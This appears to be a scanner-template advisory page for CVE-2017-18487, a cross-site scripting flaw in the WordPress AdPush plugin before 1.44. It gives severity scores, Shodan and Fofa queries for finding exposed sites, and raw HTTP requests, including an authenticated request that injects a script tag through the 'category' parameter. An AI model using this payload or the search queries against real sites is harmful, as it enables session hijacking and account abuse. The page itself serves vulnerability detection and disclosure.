| Title | AdPush < 1.44 - Cross-Site Scripting |
|---|---|
| Author | luisfelipe146 |
| Severity | Medium |
| Impact | Authenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users. |
| Remediation | Update to version 1.44 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.0048 |
| CVE ID | CVE-2017-18487 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/adsense-plugin/ |
| Fofa Query | body=/wp-content/plugins/adsense-plugin/ |
| Tags | cve cve2017 wordpress wpscan wp-plugin xss bws-adpush authenticated google_adsense_project vuln |
The adsense-plugin (aka Google AdSense) plugin before 1.44 for WordPress has multiple XSS issues.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=Duwd7U&pwd=onO9HT&wp-submit=Log+In
GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.27 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/601.1.27
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/adsense-plugin/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-18487.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-18487.pcap
N/AN/A